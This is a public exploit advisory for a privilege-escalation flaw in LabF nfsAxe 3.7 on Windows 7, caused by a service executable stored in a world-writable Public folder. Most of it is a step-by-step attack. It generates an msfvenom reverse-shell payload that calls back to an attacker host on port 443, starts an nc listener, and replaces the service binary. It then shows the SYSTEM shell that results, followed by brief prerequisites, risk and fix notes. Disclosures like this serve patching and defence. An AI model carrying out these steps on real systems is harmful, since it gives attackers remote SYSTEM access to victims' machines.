Exploit Author: bzyo Twitter: @bzyo_ Exploit Title: LabF nfsAxe 3.7 - Privilege Escalation Date: 03-24-2018 Vulnerable Software: LabF nfsAxe 3.7 Vendor Homepage: http://www.labf.com/ Version: 3.7 Software Link: http://www.labf.com/download/nfsaxe.exe Tested On: Windows 7 x86 and x64 *Requires Windows 7 Public Sharing to be enabled Details: By default LabF nfsAxe 3.7 installs to "C:\Users\Public\Program Files\LabF.com\nfsAxe" and installs a service called "XwpXSetSrvnfsAxe service". To start this service an executable "xsetsrv.exe" is located in the same directory and also runs under Local System. By default in Windows with Public Folder sharing enabled, the permissions on any file/folder under "C:\Users\Public\" is Full Control for Everyone. This means unprivileged users have the ability to add, delete, or modify any and all files/folders. Exploit: 1. Generate malicious .exe on attacking machine msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -f exe > /var/www/html/xsetsrv.exe 2. Setup listener and start apache on attacking machine nc -nlvvp 443 service apache2 start 3. Download malicious .exe on victim machine Open browser to http://192.168.0.149/xsetsrv.exe and download 4. Rename C:\Users\Public\Program Files\LabF.com\nfsAxe\xsetsrv.exe xsetsrv.exe > xsetsrv.bak 5. Copy/Move downloaded xsetsrv.exe file to C:\Users\Public\Program Files\LabF.com\nfsAxe\ 6. Restart victim machine and login as unprivileged user 7. Reverse Shell on attacking machine opens C:\Windows\system32>whoami whoami nt authority\system Prerequisites: To successfully exploit this vulnerability, an attacker must already have access to a system running a LabF nfsAxe installed at the default location using a low-privileged user account Risk: The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System aka Game Over. Fix: Don't use default install path